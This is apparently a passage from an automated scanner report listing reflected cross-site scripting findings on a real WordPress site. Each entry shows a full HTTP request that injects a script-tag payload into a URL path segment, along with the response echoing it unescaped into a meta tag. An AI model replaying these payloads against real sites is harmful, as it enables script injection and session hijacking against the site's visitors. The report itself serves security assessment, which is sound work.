X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:12 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18888

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes92958\"><script>alert(1)</script>6a989f1a3be/js/prototype.js?ver=1.6.1"/>
...[SNIP]...

1.295. http://www.vogel-nest.de/wp-includes/js/prototype.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/prototype.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e61b"><script>alert(1)</script>34c78edaa6 was submitted in the REST URL parameter 2. This input was echoed as 1e61b\"><script>alert(1)</script>34c78edaa6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js1e61b"><script>alert(1)</script>34c78edaa6/prototype.js?ver=1.6.1 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:30 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:31 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18886

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js1e61b\"><script>alert(1)</script>34c78edaa6/prototype.js?ver=1.6.1"/>
...[SNIP]...

1.296. http://www.vogel-nest.de/wp-includes/js/prototype.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/prototype.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27738"><script>alert(1)</script>941d79e9b21 was submitted in the REST URL parameter 3. This input was echoed as 27738\"><script>alert(1)</script>941d79e9b21 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/prototype.js27738"><script>alert(1)</script>941d79e9b21?ver=1.6.1 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:50 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:51 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18888

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js/prototype.js27738\"><script>alert(1)</script>941d79e9b21?ver=1.6.1"/>
...[SNIP]...

1.297. http://www.vogel-nest.de/wp-includes/js/scriptaculous/effects.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/scriptaculous/effects.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c73c"><script>alert(1)</script>68c7fabdeae was submitted in the REST URL parameter 1. This input was echoed as 5c73c\"><script>alert(1)</script>68c7fabdeae in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes5c73c"><script>alert(1)</script>68c7fabdeae/js/scriptaculous/effects.js?ver=1.8.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:16 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:17 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes5c73c\"><script>alert(1)</script>68c7fabdeae/js/scriptaculous/effects.js?ver=1.8.3"/>
...[SNIP]...

1.298. http://www.vogel-nest.de/wp-includes/js/scriptaculous/effects.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/scriptaculous/effects.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98bdd"><script>alert(1)</script>193e3db455c was submitted in the REST URL parameter 2. This input was echoed as 98bdd\"><script>alert(1)</script>193e3db455c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js98bdd"><script>alert(1)</script>193e3db455c/scriptaculous/effects.js?ver=1.8.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:32 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:33 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js98bdd\"><script>alert(1)</script>193e3db455c/scriptaculous/effects.js?ver=1.8.3"/>
...[SNIP]...

1.299. http://www.vogel-nest.de/wp-includes/js/scriptaculous/effects.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/scriptaculous/effects.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53240"><script>alert(1)</script>8c837bd113d was submitted in the REST URL parameter 3. This input was echoed as 53240\"><script>alert(1)</script>8c837bd113d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/scriptaculous53240"><script>alert(1)</script>8c837bd113d/effects.js?ver=1.8.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:58 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:59 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js/scriptaculous53240\"><script>alert(1)</script>8c837bd113d/effects.js?ver=1.8.3"/>
...[SNIP]...

1.300. http://www.vogel-nest.de/wp-includes/js/scriptaculous/effects.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/scriptaculous/effects.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36fe2"><script>alert(1)</script>a0c923de908 was submitted in the REST URL parameter 4. This input was echoed as 36fe2\"><script>alert(1)</script>a0c923de908 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/scriptaculous/effects.js36fe2"><script>alert(1)</script>a0c923de908?ver=1.8.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:22 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18912

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js/scriptaculous/effects.js36fe2\"><script>alert(1)</script>a0c923de908?ver=1.8.3"/>
...[SNIP]...

1.301. http://www.vogel-nest.de/wp-includes/js/scriptaculous/wp-scriptaculous.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/scriptaculous/wp-scriptaculous.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 698aa"><script>alert(1)</script>2a4df7d8b75 was submitted in the REST URL parameter 1. This input was echoed as 698aa\"><script>alert(1)</script>2a4df7d8b75 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes698aa"><script>alert(1)</script>2a4df7d8b75/js/scriptaculous/wp-scriptaculous.js?ver=1.8.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:21:58 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:21:59 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes698aa\"><script>alert(1)</script>2a4df7d8b75/js/scriptaculous/wp-scriptaculous.js?ver=1.8.3"/>
...[SNIP]...

1.302. http://www.vogel-nest.de/wp-includes/js/scriptaculous/wp-scriptaculous.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/scriptaculous/wp-scriptaculous.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca901"><script>alert(1)</script>b433d0c1ca1 was submitted in the REST URL parameter 2. This input was echoed as ca901\"><script>alert(1)</script>b433d0c1ca1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/jsca901"><script>alert(1)</script>b433d0c1ca1/scriptaculous/wp-scriptaculous.js?ver=1.8.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:16 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:18 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/jsca901\"><script>alert(1)</script>b433d0c1ca1/scriptaculous/wp-scriptaculous.js?ver=1.8.3"/>
...[SNIP]...

1.303. http://www.vogel-nest.de/wp-includes/js/scriptaculous/wp-scriptaculous.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/scriptaculous/wp-scriptaculous.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f50aa"><script>alert(1)</script>ea74b2eeeb2 was submitted in the REST URL parameter 3. This input was echoed as f50aa\"><script>alert(1)</script>ea74b2eeeb2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/scriptaculousf50aa"><script>alert(1)</script>ea74b2eeeb2/wp-scriptaculous.js?ver=1.8.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:32 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:33 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js/scriptaculousf50aa\"><script>alert(1)</script>ea74b2eeeb2/wp-scriptaculous.js?ver=1.8.3"/>
...[SNIP]...

1.304. http://www.vogel-nest.de/wp-includes/js/scriptaculous/wp-scriptaculous.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/scriptaculous/wp-scriptaculous.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb31b"><script>alert(1)</script>e134fe2da46 was submitted in the REST URL parameter 4. This input was echoed as fb31b\"><script>alert(1)</script>e134fe2da46 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/scriptaculous/wp-scriptaculous.jsfb31b"><script>alert(1)</script>e134fe2da46?ver=1.8.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:56 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js/scriptaculous/wp-scriptaculous.jsfb31b\"><script>alert(1)</script>e134fe2da46?ver=1.8.3"/>
...[SNIP]...

1.305. http://www.vogel-nest.de/wp-includes/js/swfobject.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/swfobject.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1df6"><script>alert(1)</script>6ce4eb9bca9 was submitted in the REST URL parameter 1. This input was echoed as e1df6\"><script>alert(1)</script>6ce4eb9bca9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includese1df6"><script>alert(1)</script>6ce4eb9bca9/js/swfobject.js?ver=2.2 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:23 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:23 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18884

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includese1df6\"><script>alert(1)</script>6ce4eb9bca9/js/swfobject.js?ver=2.2"/>
...[SNIP]...

1.306. http://www.vogel-nest.de/wp-includes/js/swfobject.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/swfobject.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d096"><script>alert(1)</script>d708b3e8a0f was submitted in the REST URL parameter 2. This input was echoed as 4d096\"><script>alert(1)</script>d708b3e8a0f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js4d096"><script>alert(1)</script>d708b3e8a0f/swfobject.js?ver=2.2 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:47 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:48 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18884

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js4d096\"><script>alert(1)</script>d708b3e8a0f/swfobject.js?ver=2.2"/>
...[SNIP]...

1.307. http://www.vogel-nest.de/wp-includes/js/swfobject.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-includes/js/swfobject.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e391"><script>alert(1)</script>30e0f465183 was submitted in the REST URL parameter 3. This input was echoed as 3e391\"><script>alert(1)</script>30e0f465183 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-includes/js/swfobject.js3e391"><script>alert(1)</script>30e0f465183?ver=2.2 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:11 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18884

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-includes/js/swfobject.js3e391\"><script>alert(1)</script>30e0f465183?ver=2.2"/>
